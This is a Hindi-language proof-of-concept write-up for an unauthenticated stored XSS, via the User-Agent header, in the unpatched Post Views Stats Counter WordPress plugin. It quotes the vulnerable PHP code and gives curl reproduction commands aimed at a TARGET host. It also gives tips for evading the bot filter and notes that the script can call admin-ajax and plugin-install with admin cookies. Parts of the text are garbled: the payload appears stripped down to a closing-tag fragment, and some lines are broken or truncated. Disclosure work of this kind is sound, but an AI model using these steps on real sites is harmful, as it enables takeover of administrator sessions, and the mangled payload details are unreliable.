
CVE-2026-97347 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Post Views Stats Counter WordPress प्लगइन में User-Agent हेडर के माध्यम से एक अनधिप्रमाणित स्टोर्ड XSS है, पुनरुत्पादन चरणों के साथ।
| प्लगइन | Post Views Stats Counter |
| प्रभावित संस्करण | ≤ 1.1.7 |
| बग वर्ग | अनधिकृत संग्रहीत XSS |
| प्रवेश बिंदु | User-Agent HTTP हेडर |
| सिंक | एडमिन स्टैट्स पेज (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 उच्च |
| स्थिति | प्रकटीकरण के समय अनपैच्ड, अब तक कोई ज्ञात पैच्ड संस्करण नहीं |
| शोधकर्ता | Nawaf Althurwi |
प्लगइन हर पेज व्यू को रिकॉर्ड करता है, जिसमें विज़िटर का User-Agent हेडर भी शामिल है, एक कस्टम टेबल (wp_pvs_counter) में। यहाँ यह हेडर को ग्रहण करता है — पूरे पथ में कहीं भी कोई सैनिटाइज़ेशन नहीं:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
प्रवेश के रास्ते पर एकमात्र रक्षा एक बॉट फ़िल्टर है, और वह केवल एक सबस्ट्रिंग ब्लैकलिस्ट है:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
डिफ़ॉल्ट सूची bot, spider, crawler है। जिसमें भी ये सबस्ट्रिंग नहीं होती, वह संग्रहीत हो जाता है। बस यही पूरा फ़िल्टर है।
आउटपुट पक्ष पर, एडमिन पेज "पंजीकृत यूज़र एजेंट" का एक ड्रॉपडाउन बनाता है और संग्रहीत मान को <option> टैग के अंदर कच्चे रूप में प्रिंट करता है — esc_attr() value एट्रिब्यूट की सुरक्षा करता है लेकिन दृश्यमान लेबल एक सादा echo है:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
इसलिए User-Agent हेडर में HTML के साथ एक अनप्रमाणित अनुरोध अगली बार जब व्यवस्थापक प्लगइन का स्टैट्स पेज खोलते हैं तो उनके ब्राउज़र में निष्पादित हो जाता है। क्लासिक स्टोर्ड XSS, कोई प्रमाणीकरण नहीं, पीड़ित की ओर से अपने ही डैशबोर्ड को देखने के अलावा कोई इंटरैक्शन नहीं।
एक और बाधा जानने योग्य है: useragent कॉलम varchar(155) है, इसलिए पेलोड 155 अक्षरों से कम रहना चाहिए।
कोई भी लॉग किया गया URL काम करता है — फ्रंट पेज /?p=1 ठीक है। TARGET को WordPress होस्ट से और YOUR_PAYLOAD को उस चीज़ से बदलें जो आप व्यवस्थापक के सत्र में चलाना चाहते हैं:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
पेलोड आकार पर टिप्पणियाँ:
</option></select> मान को ड्रॉपडाउन मार्कअप से बाहर निकाल देता है — यह सजावट नहीं है, इसके बिना इंजेक्शन <option> टैग के अंदर ही फँसा रहता है।bot/spider/crawler (केस-असंवेदनशील) से मुक्त रखें, अन्यथा अनुरोध डेटाबेस तक पहुँचने से पहले ही बॉट के रूप में फ़िल्टर हो जाता है।alert() के अंदर स्पेस चाहते हैं, तो इसके बजाय   का उपयोग करें — कुछ HTTP क्लाइंट हेडर मानों में स्पेस को विकृत कर देते हैं।मैंने अपनी लैब पर जो वन-लाइनर इस्तेमाल किया:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

बस एक साधारण curl। HTTP 200 का अर्थ है कि व्यू की गणना हो गई और हेडर डेटाबेस में चला गया।
एडमिन के रूप में Settings → Post Views Stats Counter खोलें (या यदि पहले से खुला है तो बस रीफ़्रेश करें)। पेलोड स्टैट्स विजेट सूची के भाग के रूप में रेंडर होता है और onerror सक्रिय हो जाता है:

S:C स्कोप परिवर्तन — XSS wp-admin पर चलता है, इसलिए यह एडमिन की कुकीज़ के साथ admin-ajax और plugin-install एंडपॉइंट्स को कॉल कर सकता है)
यदि आप स्क्रब/पॉज़ करना चाहते हैं तो उच्च गुणवत्ता: exploit-vid.mp4
एक स्थानीय Docker लैब में WordPress 6.x पर संस्करण 1.1.7 के विरुद्ध परीक्षण किया गया। अनऑथेंटिकेटेड, स्टैट्स पेज खोलने के अलावा कोई उपयोगकर्ता इंटरैक्शन नहीं।